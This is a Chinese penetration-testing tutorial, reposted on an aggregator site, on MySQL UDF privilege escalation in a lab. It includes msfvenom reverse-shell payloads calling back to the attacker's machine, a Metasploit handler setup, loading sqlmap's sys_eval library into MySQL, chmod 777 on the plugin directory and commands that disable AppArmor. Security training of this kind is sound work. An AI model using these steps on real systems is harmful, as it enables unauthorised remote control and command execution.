栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

106.网络安全渗透测试—[权限提升篇4]—[Linux Mysql UDF提权]

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

106.网络安全渗透测试—[权限提升篇4]—[Linux Mysql UDF提权]

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

文章目录
    • 一、LINUX MYSQL UDF[提权]
      • 1、漏洞介绍:
        • 1.udf介绍
        • 2.udf定义格式
        • 3.mysql-udf提权原理
        • 4.mysql-udf提权本质
      • 2、漏洞背景:
      • 3、漏洞利用:
        • 1.实验环境:
        • 2.一些实验前的准备:
        • 3.靶机链接:
        • 4.实验步骤:
      • 4、漏洞限制:
        • 1.plugin**目录不存在**或者**没权限写入**文件
        • 2.udf.so文件的**版本不对**
        • 3.设置AppArMor访问控制权限【`该情况会导致命令执行的结果为NULL`】

一、LINUX MYSQL UDF[提权] 1、漏洞介绍: 1.udf介绍

​ UDF是mysql的一个拓展接口,UDF(Userdefined function),可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。在mysql中函数是什么,比如mysql中常见的sleep(),sum(),ascii()等都是函数,udf就是为了让我们开发者能够自己写方便自己函数(其中包括了执行系统命令的函数,要想利用udf,必须上传udf.so或udf.dll作为udf的执行库),并且它有3种返回值,这三种分别是STRING字符型,INTEGER整型,REAL实数型。

2.udf定义格式
	# 创建自定义函数
	CREATE [AGGREGATE] FUNCTION function_name RETURNS {STRING|INTEGER|REAL} SONAME '文件名';
	[]是可选项
	[AGGREATE]是聚集函数的表示,系统定义的聚集函数比如有COUNT()、AVE()、MN()、MAX()、SUM()
	SONAME 'file'表示这个函数从哪个文件里面引入,而这个文件一般是动态链接库,windows下是dll,linux是so,并且这个文件要在mysql的plugin目录下

    # 删除自定义函数,如果要删除该函数,必须udf文件还存在plugin目录下
    DROp FUNCTION function_name
3.mysql-udf提权原理

​ udf的设计初衷是为了方便用户自定义一些函数,方便查询一些复杂的数据,同时也增加了使用udf提权的可能。攻击者通过编写调用cmd或者shell的udf.so或udf.dll文件,并且导入到一个指定的文件夹目录下,创建一个指向udf.so或udf.dll的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。

4.mysql-udf提权本质

​ udf提权本质上并不是真正意义上的提权,只是通过当前mysql的运行权限去执行系统命令,如果mysql运行权限太低的话同样也没有特别大的意义!!!

2、漏洞背景:

​ 192.168.97.130攻击者已经获得了192.168.97.135靶机的webshell,并且通过msfvenom和msfconsole联动获得了靶机的系统meterpreter的shell,但是此时shell的权限只是www-data权限。与此同时,由于我们也获得了192.168.97.135的mysql登录用户名和密码,因此我们可以尝试进行mysql的udf提权,从而通过mysql执行系统命令。

3、漏洞利用: 1.实验环境:
1.靶机环境:
(1)虚拟机Ubuntu15.04【www.webtester.com】【192.168.97.135】
(2)脚本语言环境:perl/python/php均存在
(3)mysql版本:mysql Ver 14.14 Distrib 5.5.62, for debian-linux-gnu (x86_64) using readline 6.3

2.攻击机:
(1)虚拟机Win7【192.168.97.130】
(2)Firefox+Burpsuite+蚁剑+nc瑞士军刀

3.网络环境:
(1)VMware搭建的NAT网络
2.一些实验前的准备:
1.在kali中,获取udf的利用脚本:
    存储加密了的udf脚本在:/usr/share/sqlmap/data/udf/mysql
    其中对应的解密脚本(后缀有_)在:/usr/share/sqlmap/extra/cloak/cloak.py,
    解密方法:python cloak.py -d -i lib_mysqludf_sys.so_ -o mysqludf_linux_64.so

2.具体步骤:
    cp -r /usr/share/sqlmap/data/udf/mysql/* /mnt/hgfs/share/udf
    cp -r /usr/share/sqlmap/extra/cloak/* /mnt/hgfs/share/udf/cloak
    cd /mnt/hgfs/share/udf
    python ./cloak/cloak.py -d -i ./linux/64/lib_mysqludf_sys.so_ -o ./linux/64/mysqludf_linux_64.so
    python ./cloak/cloak.py -d -i ./linux/32/lib_mysqludf_sys.so_ -o ./linux/32/mysqludf_linux_64.so
    python ./cloak/cloak.py -d -i ./windows/64/lib_mysqludf_sys.dll_ -o ./windows/64/mysqludf_linux_64.dll
    python ./cloak/cloak.py -d -i ./windows/32/lib_mysqludf_sys.dll_ -o ./windows/32/mysqludf_linux_64.dll
3.靶机链接:

​ URL:http://www.moontester.com/upload.php

4.实验步骤:

​ (1)前提:已经获得了靶机的一个webshell,并且通过上传64.elf获得了meterpreter的shell,并且已经得到了mysql的登录账号

​ 第一步:攻击方制作木马

​ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f elf > 64.elf
​ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f elf > 32.elf
​ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f exe > 64.exe
​ msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f exe > 32.exe

​ 第二步:攻击方把木马放入靶机的/tmp下,并且赋予执行权限chmod +x 64.elf

​ 第三步:攻击方使用木马

​ msfconsole
​ use exploit/multi/handler #加载模块
​ set payload linux/x64/meterpreter/reverse_tcp #修改成我们之前生成木马时使用的payload
​ set lhost 192.168.97.130 #设置kali的IP地址为监听地址
​ set lport 12345 #设置监听端口
​ run #开启侦听

​ 第四步:攻击方在靶机的webshell上执行./64elf

​ (2)python切换到交互式:python -c 'import pty; pty.spawn("/bin/bash")'

​ (3)查看mysql以及linux版本、登录mysql、查看plugin的目录,上传对应的udf脚本

​ 第一步:mysql --version

​ 第二步:mysql -uroot -p123456

​ 第三步:select user();

​ 第四步:select @@basedir; //查看mysql安装目录

​ 第五步:show variables like '%plugin%'; //查看plugin目录

​ 第六步:上传udf脚本到plugin目录下

​ (4)从mysqludf_linux_64.so动态链接库里引入自定义函数sys_eval,以mysql的身份进行执行系统命令

​ 第一步:create function sys_eval returns string soname 'mysqludf_linux_64.so'; //创建函数

​ 第二步:select * from mysql.func where name = 'sys_eval'; // 查看我们创建的sys_eval函数

​ 第三步:select sys_eval("whoami"); // 解除AppArMor访问控制权限之前,执行命令无效果

4、漏洞限制: 1.plugin目录不存在或者没权限写入文件

运行如下的命令,授予plugin目录写权限:

$ cd /usr/lib/mysql

$ chmod 777 plugin/

2.udf.so文件的版本不对
1.在kali中,获取udf的利用脚本:
    存储加密了的udf脚本在:/usr/share/sqlmap/data/udf/mysql
    其中对应的解密脚本(后缀有_)在:/usr/share/sqlmap/extra/cloak/cloak.py,
    解密方法:python cloak.py -d -i lib_mysqludf_sys.so_ -o mysqludf_linux_64.so

2.具体步骤:
    cp -r /usr/share/sqlmap/data/udf/mysql/* /mnt/hgfs/share/udf
    cp -r /usr/share/sqlmap/extra/cloak/* /mnt/hgfs/share/udf/cloak
    cd /mnt/hgfs/share/udf
    python ./cloak/cloak.py -d -i ./linux/64/lib_mysqludf_sys.so_ -o ./linux/64/mysqludf_linux_64.so
    python ./cloak/cloak.py -d -i ./linux/32/lib_mysqludf_sys.so_ -o ./linux/32/mysqludf_linux_64.so
    python ./cloak/cloak.py -d -i ./windows/64/lib_mysqludf_sys.dll_ -o ./windows/64/mysqludf_linux_64.dll
    python ./cloak/cloak.py -d -i ./windows/32/lib_mysqludf_sys.dll_ -o ./windows/32/mysqludf_linux_64.dll
3.设置AppArMor访问控制权限【该情况会导致命令执行的结果为NULL】

參考链接

​ (1)AppArmor(Application Armor)是Linux内核的一个安全模块,AppArmor允许系统管理员将每个程序与一个安全配置文件关联,从而限制程序的功能。简单的说,AppArmor是与SELinux类似的一个访问控制系统,通过它你可以指定程序可以读、写或运行哪些文件,是否可以打开网络端口等。作为对传统Unix的自主访问控制模块的补充,AppArmor提供了强制访问控制机制,它已经被整合到2.6版本的Linux内核中。

​ (2)目前Ubuntu已自带了Apparmor, 可以在手册中获得相应的资料。

​ (3)运行如下的命令,解除访问控制:

$ sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/

$ sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1000788.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号